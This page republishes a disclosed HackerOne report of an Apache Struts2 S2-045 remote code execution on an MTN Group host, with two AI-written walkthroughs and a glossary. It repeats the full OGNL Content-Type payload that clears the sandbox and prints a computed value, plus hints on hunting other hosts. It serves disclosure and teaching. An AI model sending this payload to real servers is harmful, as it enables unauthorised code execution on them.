Skip to content
RCE Disclosed report Intermediate

RCE Apache Struts2 remote command execution (S2-045) on [wifi-partner.mtn.com.gh]

An Apache Struts2 endpoint was vulnerable to remote code execution through a crafted Content-Type header, because the Jakarta Multipart parser throws an exception that is rendered back to the user. An attacker could send a single request and have the server evaluate an expression and print the result, meaning arbitrary commands could run on the host.

pisarenko Follow

Originally disclosed on HackerOne

  • Triaged in 24 days
  • Fixed in 6 months
  • Disclosed after 8 months

Summary by the researcher

If you were waiting here for a skull and a word: "die".

It just makes me sad that you would think that it's not true.

The report

Summary:

A Remote Code Execution vulnerability exists in Apache Struts2 when performing file upload based on Jakarta Multipart parser. It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

Steps To Reproduce:

POC

GET /pwsc/login.do HTTP/1.1 Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())} Cookie: ROUTEID=.1;JSESSIONID=13E16D2D032451B88B408F0CED57407E.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Host: wifi-partner.mtn.com.gh User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36 Connection: Keep-alive

rce.png
rce.png From the original on HackerOne

you can see how I performed the mathematical formula and printed it in the answer

Impact

rce

The original report as published on HackerOne, by pisarenko. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target is wifi-partner.mtn.com.gh, a host in the MTN Group bug bounty programme on HackerOne. The report does not describe what the application behind that hostname does beyond the path it exercises, /pwsc/login.do, which suggests a login flow served by a Java web application. The vulnerability class is Apache Struts2 remote code execution through the Jakarta Multipart parser, the issue publicly known as S2-045.

In a normal deployment the multipart parser is what handles file uploads: the browser sends a Content-Type: multipart/form-data header with a boundary, and Struts2 parses the body into form fields and files. The bug is that the parser also evaluates the Content-Type value as an OGNL expression when it tries to build an error message for an invalid value.

Setup

No account, role or special tooling is described. The request is a plain HTTP request that can be sent with any client, and the only precondition visible in the report is that the target runs a Struts2 version affected by S2-045 and exposes an endpoint that reaches the multipart parser. The researcher's request uses a Chrome 83 user agent string, but nothing in the report says the browser mattered.

Finding it

The researcher does not describe the recon that led to the host. The report opens with a short, cryptic note and then states the vulnerability directly: a remote code execution exists in Apache Struts2 when performing file upload based on the Jakarta Multipart parser, and it is possible to perform an RCE attack with a malicious Content-Type value. The stated mechanism is that an invalid Content-Type value causes an exception, and that exception is then used to display an error message to the user. That error path is where the expression is evaluated.

Exploitation

Step 1: send the crafted request

The researcher sends a single GET request to /pwsc/login.do with the payload placed in the Content-Type header:

HTTP
GET /pwsc/login.do HTTP/1.1
Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())}
Cookie: ROUTEID=.1;JSESSIONID=[redacted]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: wifi-partner.mtn.com.gh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Connection: Keep-alive

The payload is a chain of OGNL expressions, evaluated in order:

  1. #test='multipart/form-data' sets a variable, a common way to start a payload in this bug.
  2. #[email protected]@DEFAULT_MEMBER_ACCESS grabs the default member access object, which is what allows access to methods that would otherwise be restricted.
  3. The #_memberAccess?... branch replaces the current member access with #dm when it is already set, or otherwise reaches into the Struts2 container, obtains the OgnlUtil instance, clears its excluded package names and excluded classes, and then sets member access to #dm. Clearing those two lists removes the sandbox that normally blocks dangerous classes and packages.
  4. #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) obtains the servlet response output stream.
  5. #ros.println(31337*31337) writes the result of the multiplication to the response.
  6. #ros.flush() flushes the stream so the output is sent.

The remaining headers are ordinary browser headers.

Step 2: read the result

The response body contains the product of the multiplication, which the researcher shows in a screenshot:

rce.png
rce.png From the original on HackerOne

The image shows the response with the computed value printed, which the researcher describes as performing the mathematical formula and printing it in the answer. That output is the proof of execution: the expression was evaluated on the server, not merely reflected.

Root cause

S2-045 is a flaw in how Struts2's Jakarta Multipart parser handles a malformed Content-Type header. When the value cannot be parsed, the framework builds an error message that includes the offending value, and that message is processed through OGNL. Because the value is attacker-controlled, the attacker can supply an OGNL expression that the framework evaluates. The payload above additionally defeats the OGNL sandbox by clearing the excluded package and class lists through OgnlUtil, so the restrictions that should have limited which classes could be reached did not stop the chain. The report does not include the Struts2 version or any server-side configuration, so the exact deployment state is not documented here.

Impact

The researcher states the impact as "rce": remote code execution on the host. In practice that means an attacker who can reach an endpoint that passes through the multipart parser can run arbitrary code with the privileges of the application server.

Fix

The general remediation for S2-045 is to upgrade Apache Struts2 to a version that no longer evaluates the Content-Type value in the error path, and to keep the framework patched against later OGNL sandbox bypasses.

Variants to test

  1. Other endpoints on the same host that accept uploads or form posts, such as other .do actions. A positive result is the same arithmetic output appearing in the response body.
  2. The same Content-Type payload sent as POST rather than GET, in case the parser is only reached on one method. A positive result is the computed value in the response.
  3. A payload that writes a different value, for example a string or a system property, to confirm the output stream is fully controllable and not just echoing a fixed expression. A positive result is the chosen value appearing in the response.
  4. Other hosts in the same programme that expose Struts2 actions, since the framework is often deployed consistently across a group. A positive result is the same behaviour on a different hostname.

Hunting notes

This bug hides in Java web applications built on Struts2, particularly older versions, and the entry point is any action that reaches the multipart parser. During recon, .do and .action paths, Struts2 error pages and stack traces, and login or upload forms are the signals worth following. The researcher demonstrated impact with a single request and a visible computed value in the response, which is enough to show code execution without needing to run a full command.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher found a way to make a web server run instructions that he chose, rather than the instructions the website's own programmers wrote. The server belonged to MTN Group, and the address was wifi-partner.mtn.com.gh. The researcher reported it through a bug bounty programme.

The weakness is in a piece of software called Apache Struts2. Struts2 is a toolkit that Java programmers use to build websites. This particular flaw is publicly known as S2-045.

The researcher proved the problem with a request to the server. Inside that request he hid a small instruction: multiply 31337 by 31337. The server obeyed, did the maths, and sent the answer back. That may sound harmless, but it is the proof that matters: the server evaluated an expression the researcher supplied, which is the same mechanism that would let an attacker run other instructions.

The target and the software behind it

The host is wifi-partner.mtn.com.gh, part of the MTN Group bug bounty programme on HackerOne. The report does not explain what the application on that host does beyond the path it uses, /pwsc/login.do. The .do ending is a common sign of a Java web application, and login suggests a login page.

A quick word on the pieces involved:

  • Server: the computer that holds a website and answers requests from browsers.
  • Request: the message your browser sends to a server when you open a page or submit a form. It has a first line (what you want), then a list of headers (extra information), then sometimes a body (data you are sending).
  • Header: a labelled line of extra information in a request, such as which browser you use or what kind of data you are sending.
  • Java: a programming language, very common for large business websites.
  • Apache Struts2: a framework, meaning a ready-made set of building blocks that Java developers use to assemble a website. Think of it as a prefabricated kitchen: the developer installs the cupboards and the plumbing rather than building each one from scratch.

The feature that was abused: file uploads

Websites often let you upload a file, for example a profile picture or a document. When your browser sends a file, it cannot just dump the raw bytes, because the server needs to know where the file starts, where it ends, and what it is called. So browsers use a standard format called multipart/form-data. It works like a parcel with several compartments: each form field or file gets its own labelled section, and a short marker called a boundary separates them.

The browser announces this format in a header called Content-Type. A normal one looks like multipart/form-data; boundary=something. The server reads that header, sees the boundary marker, and uses it to split the body into the individual fields and files.

Struts2 contains a component called the Jakarta Multipart parser whose whole job is to do that splitting. A parser is a program that reads a structured piece of text and works out its parts, like a postal worker sorting a stack of letters by address.

The flaw: when the error message runs code

Here is the heart of S2-045. If the Content-Type header is malformed, the parser cannot make sense of it and throws an exception. An exception is a program's way of saying "something went wrong here". Struts2 then builds an error message for the user, and it includes the bad value in that message so the user can see what was wrong.

The problem is that Struts2 processes that value through a small expression language called OGNL (Object-Graph Navigation Language). OGNL is designed to let a program look up and manipulate objects by writing short expressions, for example fetching a value from a data structure. It is meant for the programmer's own use, not for text that arrives from strangers on the internet.

Because the Content-Type value comes from whoever sends the request, an attacker can put an OGNL expression there instead of a real content type. Struts2 then evaluates it, which means it carries out the expression as if it were the site's own code.

This class of bug is called remote code execution, usually shortened to RCE. It means an attacker, working from somewhere else over the network, can make the server run code of their choosing. It is generally considered a very serious kind of web vulnerability, because the attacker is no longer limited to what the website's features allow.

Setting up

The report describes no account, no special role and no special tool. The request is an ordinary HTTP request, the same kind your browser sends, and any tool that can send one would do. The only precondition visible in the report is that the target runs a Struts2 version affected by S2-045 and has some page that reaches the multipart parser.

The researcher's request includes a Chrome 83 user agent string. A user agent is the header where a browser introduces itself, for example "I am Chrome on Windows". Nothing in the report says the browser mattered; it is simply part of a request captured from a browser-like client.

Finding it

The report does not describe how the researcher discovered the host. It opens with a short, cryptic note and then states the vulnerability directly: a remote code execution exists in Apache Struts2 when performing file upload based on the Jakarta Multipart parser, and it is possible to perform an RCE attack with a malicious Content-Type value. The stated mechanism is that an invalid Content-Type value causes an exception, and that exception is then used to display an error message to the user. That error path is where the expression gets evaluated.

Exploitation

Step 1: send the crafted request

The researcher sends a single GET request to /pwsc/login.do, with the payload placed in the Content-Type header:

HTTP
GET /pwsc/login.do HTTP/1.1
Content-Type: %{(#test='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(31337*31337)).(#ros.flush())}
Cookie: ROUTEID=.1;JSESSIONID=[redacted]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: wifi-partner.mtn.com.gh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Connection: Keep-alive

Line by line, in plain words:

  1. GET /pwsc/login.do HTTP/1.1 is the request line. GET is the method, meaning "please give me this page". /pwsc/login.do is the page being asked for. HTTP/1.1 is the version of the language browsers and servers use to talk to each other.
  2. Content-Type: %{...} is the header that normally says what kind of data is being sent. Instead of a real content type, it holds the attack. The %{ at the start is the marker Struts2 uses to recognise an OGNL expression, so the framework treats everything inside the braces as code to evaluate rather than as text.
  3. Cookie: ROUTEID=.1;JSESSIONID=[redacted] carries two small pieces of data the server gave the client earlier. A cookie is a short note a website asks your browser to keep and send back with every request, so the site can recognise you between page loads. JSESSIONID is the standard name Java uses for a session identifier, a random string that ties requests to one visitor's session. ROUTEID is typically used by a load balancer, a machine that spreads traffic across several servers, to remember which server your session lives on.
  4. Accept: ... tells the server which kinds of response the client can handle: HTML pages, XHTML, XML, and images, with quality values after the semicolons. This is an ordinary browser header.
  5. Accept-Encoding: gzip,deflate says the client can accept compressed responses, which saves bandwidth.
  6. Host: wifi-partner.mtn.com.gh names the website being asked for. One server can host many sites, so this header tells it which one is wanted.
  7. User-Agent: Mozilla/5.0 ... is the browser's self-introduction, here claiming to be Chrome 83 on 64-bit Windows.
  8. Connection: Keep-alive asks the server to keep the network connection open for further requests instead of closing it after this one.

Now the payload itself. It is a chain of OGNL expressions, evaluated in order:

  1. #test='multipart/form-data' sets a variable. This is a common way to start a payload in this bug.
  2. #[email protected]@DEFAULT_MEMBER_ACCESS grabs the default member access object. In OGNL, "member access" is the rulebook that decides which methods and fields an expression is allowed to touch. The default rulebook is the permissive one, so holding a reference to it is the first step towards removing restrictions.
  3. The #_memberAccess?... branch replaces the current member access with #dm if one is already set. Otherwise it reaches into the Struts2 container, obtains the OgnlUtil instance, clears its excluded package names and excluded classes, and then sets member access to #dm. In plain terms: Struts2 keeps a list of packages and classes that OGNL is forbidden to touch, a kind of sandbox. Clearing those two lists removes the sandbox, so dangerous classes become reachable.
  4. #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) obtains the output stream of the response. An output stream is the channel through which the server writes the body of its reply, the part a browser displays.
  5. #ros.println(31337*31337) writes the result of the multiplication to that stream. println means "print this and start a new line".
  6. #ros.flush() flushes the stream, meaning it pushes out anything still waiting in the buffer so the output is actually sent. A buffer is a small holding area where data waits before being sent.

Step 2: read the result

The response body contains the product of the multiplication, which the researcher shows in a screenshot:

rce.png
rce.png From the original on HackerOne

The image shows the response with the computed value printed. The researcher describes it as performing the mathematical formula and printing it in the answer. That output is the proof of execution: the expression was evaluated on the server, not merely reflected back as text.

Root cause

S2-045 is a flaw in how Struts2's Jakarta Multipart parser handles a malformed Content-Type header. When the value cannot be parsed, the framework builds an error message that includes the offending value, and that message is processed through OGNL. Because the value is attacker-controlled, the attacker can supply an OGNL expression that the framework evaluates.

The payload above also defeats the OGNL sandbox by clearing the excluded package and class lists through OgnlUtil, so the restrictions that should have limited which classes could be reached did not stop the chain. The report does not include the Struts2 version or any server-side configuration, so the exact deployment state is not documented here.

Impact

The researcher states the impact as "rce": remote code execution on the host. In practice that means an attacker who can reach an endpoint that passes through the multipart parser can run arbitrary code with the privileges of the application server. Privileges here means the set of permissions the server process has been granted by the operating system; code run inside that process inherits them.

Fix

The general remediation for S2-045 is to upgrade Apache Struts2 to a version that no longer evaluates the Content-Type value in the error path, and to keep the framework patched against later OGNL sandbox bypasses.

Variants to test

  1. Other endpoints on the same host that accept uploads or form posts, such as other .do actions. A positive result is the same arithmetic output appearing in the response body.
  2. The same Content-Type payload sent as POST rather than GET, in case the parser is only reached on one method. A positive result is the computed value in the response.
  3. A payload that writes a different value, for example a string or a system property, to confirm the output stream is fully controllable and not just echoing a fixed expression. A positive result is the chosen value appearing in the response.
  4. Other hosts in the same programme that expose Struts2 actions, since the framework is often deployed consistently across a group. A positive result is the same behaviour on a different hostname.

Hunting notes

This bug hides in Java web applications built on Struts2, particularly older versions, and the entry point is any action that reaches the multipart parser. During recon, .do and .action paths, Struts2 error pages and stack traces, and login or upload forms are the signals worth following. Recon, short for reconnaissance, is the exploratory phase where a researcher maps out what a target runs and where its entry points are. A stack trace is the debugging output a Java application prints when it crashes, which often reveals the framework and its version.

The researcher demonstrated impact with a single request and a visible computed value in the response, which is enough to show code execution without needing to run a full command.

Glossary

  • Server: the computer that stores a website and answers requests from browsers.
  • Request: the message a browser or client sends to a server, made of a request line, headers and sometimes a body.
  • Header: a labelled line of extra information inside a request or response.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • GET: an HTTP method meaning "give me this page".
  • POST: an HTTP method used to send data to the server, often from a form.
  • Host header: the header that names which website on a server is being requested.
  • User agent: the header where a browser identifies itself and its version.
  • Cookie: a short note a website asks the browser to store and send back with later requests, used to recognise a visitor.
  • Session: a period of interaction between one visitor and a website, tracked by an identifier such as JSESSIONID.
  • JSESSIONID: the standard cookie name Java web applications use for a session identifier.
  • Load balancer: a machine that spreads incoming traffic across several servers; ROUTEID is a routing cookie associated with it.
  • Java: a programming language widely used for large business web applications.
  • Apache Struts2: a framework, a set of ready-made building blocks, for building Java web applications.
  • Framework: pre-written software a developer builds on top of instead of starting from scratch.
  • Multipart/form-data: the standard format browsers use to send files and form fields, splitting the body into labelled sections.
  • Boundary: the short marker that separates the sections of a multipart body.
  • Content-Type: the header that says what kind of data a request or response carries.
  • Parser: a program that reads structured text and works out its parts.
  • Jakarta Multipart parser: the Struts2 component that parses multipart uploads.
  • Exception: a program's signal that something went wrong while it was running.
  • OGNL: Object-Graph Navigation Language, an expression language used by Struts2 to look up and manipulate objects.
  • Expression: a short piece of code that produces a value when evaluated.
  • Evaluate: to carry out an expression and produce its result.
  • Sandbox: a set of restrictions that stops code from reaching dangerous parts of a system.
  • Member access: in OGNL, the rulebook deciding which methods and fields an expression may use.
  • OgnlUtil: the Struts2 utility class that holds the OGNL restrictions, including the excluded package and class lists.
  • Output stream: the channel through which a server writes the body of its response.
  • Buffer: a small holding area where data waits before being sent.
  • Flush: to push buffered data out so it is actually sent.
  • Remote code execution (RCE): a vulnerability that lets an attacker make a remote server run code of their choosing.
  • S2-045: the public identifier for this Struts2 flaw, where a malformed Content-Type value is evaluated as OGNL in the error path.
  • Vulnerability: a weakness in software that an attacker can use to make it behave in unintended ways.
  • Bug bounty programme: a scheme where a company invites outside researchers to report security problems, often with rewards.
  • HackerOne: the platform on which this report was submitted and disclosed.
  • Recon: reconnaissance, the exploratory phase of mapping a target's software and entry points.
  • Stack trace: debugging output printed when a Java application crashes, often revealing the framework and version.
  • Privileges: the permissions a running program has been granted by the operating system.
  • Remediation: the change made to close a vulnerability, usually a software upgrade or configuration fix.
  • Patch: an update that fixes a known flaw.

More by pisarenko

View all

29 more disclosed reports, best first.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.